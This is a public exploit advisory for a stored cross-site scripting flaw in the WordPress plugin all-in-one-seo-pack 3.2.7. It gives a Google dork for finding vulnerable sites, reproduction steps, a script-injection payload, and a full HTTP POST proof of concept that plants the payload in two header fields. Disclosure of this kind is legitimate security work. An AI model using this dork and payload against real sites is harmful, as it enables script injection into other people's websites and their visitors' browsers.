all-in-one-seo-pack 3.2.7 - Persistent Cross-Site Scripting

# Exploit Title: all-in-one-seo-pack 3.2.7 - Persistent Cross-Site Scripting
# Google Dork: inurl:"\wp-content\plugins\all-in-one-seo-pack"
# Date: 2019-06-13
# Exploit Author: Unk9vvN
# Vendor Homepage: https://semperplugins.com/all-in-one-seo-pack-pro-version
# Software Link: https://wordpress.org/plugins/all-in-one-seo-pack/
# Version: 3.2.7
# Tested on: Windows 10
# CVE: N/A

# Description
# This vulnerability is in the validation mode and is located in  the all-in-one-seo-pack tab inside the  and the vulnerability type is stored . the vulnerability parameters are as follows.

1.Go to the 'all-in-one-seo-pack' tab
2.Select 'general settings' section 
3.Enter the payload in "Additional Front Page Headers","Additional Posts Page Headers" section
4.Click the "Update Options" option
4.Your payload will run on visit page


# URI: http://localhost/wordpress/wp-admin/admin.php?page=all-in-one-seo-pack
# Payload: "><script>alert(1)</script>

#
# PoC
#
POST /wordpress/wp-admin/admin.php?page=all-in-one-seo-pack%2Faioseop_class.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/admin.php?page=all-in-one-seo-pack%2Faioseop_class.php
Content-Type: multipart/form-data; boundary=---------------------------24442753012045
Content-Length: 8625
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------24442753012045
Content-Disposition: form-data; name="aiosp_front_meta_tags"

"><script>alert(1)</script>
-----------------------------24442753012045
Content-Disposition: form-data; name="aiosp_home_meta_tags"

"><script>alert(1)</script>
-----------------------------24442753012045

Content-Disposition: form-data; name="Submit"

Update Options »
-----------------------------24442753012045--


# Discovered by:
https://unk9vvn.com